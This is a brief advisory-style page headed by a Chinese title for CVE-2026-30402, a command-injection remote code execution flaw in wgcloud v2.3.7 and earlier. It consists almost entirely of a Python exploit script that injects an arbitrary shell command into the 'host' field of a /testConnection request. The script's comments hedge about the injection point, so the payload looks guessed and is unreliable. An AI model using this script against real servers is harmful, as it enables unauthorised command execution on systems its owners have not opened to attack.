CVE-2026-30402 wgcloud测试连接功能远程代码执行漏洞

import requests import sys # CVE-2026-30402 PoC - wgcloud RCE via test connection function # Target: wgcloud v2.3.7 and before def exploit(target_url, command): """ Exploit the test connection function to execute arbitrary commands """ # Construct the malicious payload # The vulnerability exists in the test connection endpoint endpoint = f"{target_url}/testConnection" # Payload construction - inject command via test connection parameter # Common injection points: host, port, or custom parameters payload = { 'host': f"127.0.0.1;{command}", 'port': '22' } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Command: {command}") # Send the malicious request response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com:8080 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)